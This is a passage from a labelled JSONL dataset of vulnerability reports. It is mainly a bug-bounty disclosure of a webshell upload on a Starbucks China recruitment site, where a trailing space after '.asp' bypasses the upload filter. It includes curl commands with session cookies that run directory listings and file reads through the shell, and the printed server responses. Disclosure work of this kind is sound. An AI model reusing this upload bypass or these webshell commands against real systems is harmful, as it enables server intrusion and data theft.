1.0.0 users should upgrade to 1.0.0r.\nOpenSSL 0.9.8 users should upgrade to 0.9.8zf.\n\nThis issue was discovered by Brian Carpenter and a fix developed by Stephen Henson of the OpenSSL development team.", "source": "hackerone", "timestamp": "2015-03-15", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2f5a9a5f8512e3a6303e", "text": "[OS Command Injection] Webshell via File Upload on ecjobs.starbucks.com.cn\n\n**Summary:** \nOS Command Injection which can let the attacker who get more important information of the server,such as disclosures internal source code of the webapp,database data and invade the internal network.\n\n**Description:** \nI found that users can upload asp/aspx and other dynamic files via the avatar upload function when adding a space character behind the file type to bypass the upload file limit.The attacker can run malicious cmd on the server.\n\n## Steps To Reproduce:\n\n 1. Sign in the url(https://ecjobs.starbucks.com.cn) and direct to the resume endpoint.\n 2. Use burp suite tools to interupt the avatar upload request.\n 3. Replace the filename type ```.jpg``` to ```asp ```which have a space character behind and modify the content\n\n After that you have uploaded malicious files on the server and run any os command on server you wanted.\nDo some command like list all files on the server\n\n```\ncurl -i -s -k -X $'GET' \\\n -H $'Host: ecjobs.starbucks.com.cn' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: _ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' -H $'Upgrade-Insecure-Requests: 1' \\\n -b $'_ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' \\\n $'https://ecjobs.starbucks.com.cn/recruitjob/tempfiles/temp_uploaded_739175df-5949-4bba-9945-1c1720e8e109.asp?getsc=dir%20d:\\\\TrustHX\\\\STBKSERM101\\\\www_app%20%2fd%2fs%2fb'\n```\n\n**The response content:**\n\n```\nHTTP/1.1 200 OK\nDate: Fri, 08 Mar 2019 02:56:19 GMT\nServer: wswaf/2.13.0-5.el6\nContent-Type: text/html\nCache-Control: private\nX-Powered-By: ASP.NET\nX-Via: 1.1 jszjsx51:1 (Cdn Cache Server V2.0), 1.1 PSjxncdx5rt58:6 (Cdn Cache Server V2.0)\nConnection: close\nContent-Length: 1814533\n\n\n\n

POC by hackerone_john stone

\n\n\n\n```\n\n**Show the internal source code**\n```\ncurl -i -s -k -X $'GET' \\\n -H $'Host: ecjobs.starbucks.com.cn' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: _ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' -H $'Upgrade-Insecure-Requests: 1' \\\n -b $'_ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' \\\n $'https://ecjobs.starbucks.com.cn/recruitjob/tempfiles/temp_uploaded_739175df-5949-4bba-9945-1c1720e8e109.asp?getsc=type%20d:\\\\TrustHX\\\\STBKSERM101\\\\www_app\\\\concurrent_test\\\\new_application_concurrent_test__svc.cs'\n```\nthe source code respones:\n```\nHTTP/1.1 200 OK\nDate: Fri, 08 Mar 2019 03:37:39 GMT\nServer: wswaf/2.13.0-5.el6\nContent-Type: text/html\nCache-Control: private\nX-Powered-By: ASP.NET\nX-Via: 1.1 jszjsx51:0 (Cdn Cache Server V2.0), 1.1 ydx154:3 (Cdn Cache Server V2.0)\nConnection: close\nContent-Length: 33316\n\n\n\n

POC by hackerone_john stone

\n